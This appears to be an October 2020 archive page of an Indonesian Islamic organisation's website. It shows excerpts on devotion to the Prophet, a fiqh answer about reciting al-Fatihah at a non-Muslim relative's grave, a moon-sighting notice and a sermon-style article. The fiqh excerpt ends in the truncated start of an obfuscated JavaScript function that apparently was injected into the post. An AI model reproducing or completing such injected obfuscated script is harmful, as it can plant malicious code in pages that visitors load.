Situs Resmi Komisi Bimbingan dan Dakwah Dewan Syura Ahlulbait Indonesia (ABI)
Home2020October

October 2020

Mengapa kita mencintai dan mengikuti Muhammad saw? Apakah karena figurnya ataukah karena ke-muhammad-annya? Dengan kata lain, manakah yang mesti diutamakan, figur atau konsep dan kriterianya? Banyak orang mengabaikan konsep dengan fokus pada figur yang menjadi manifest konsep. Orang pada umumnya mengutamakan siapa atas apa. Dan karena

Pertanyaan: Salam Ustaz, nenek saya Nasrani. Apakah boleh hukumnya saya membaca al-Fatihah di makamnya? Jawaban: Menurut fatwa sebagian marja' tidak dilarang menghadiahkan pahala bacaan Alquran kepada mendiang orang tua yang non-Muslim dengan harapan agar siksaan mereka diringankan. Baca: Fikih Quest 102: Makanan Impor dari Negara Asing (Non-Islam) https://www.youtube.com/watch?v=g4-UxjfD2oc function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return

BismillahirrahmanirrahimAllahumma shalli ala Muhammad wa aali Muhammad Berdasarkan kriteria visibilitas hilal awal bulan Rabiul Awal dari lembaga kredibel dalam dan luar negri, diantaranya Islam Al Ashiyl serta informasi dan kesaksian tim rukyah Falak ABI dalam pemantauan yang dilakukan pada hari Sabtu 29 Shafar 1442 H bertepatan

Oleh: Dr. Muhsin Labib Jelang hari-hari wafatnya, karena khawatir orang-orang munafik akan memanfaatkan peristiwa iini dan memanipulasi masyarakat, Nabi SAW mengumpulkan seluruh anggota masyarakat berceramah memperingatkan mereka tentang hasutan menentangnya, menganjurkan berpegang teguh dengan Itrah dan mematuhi, dengan suara bulat dan tidak membangkang dan melakukan penelikungan. Dalam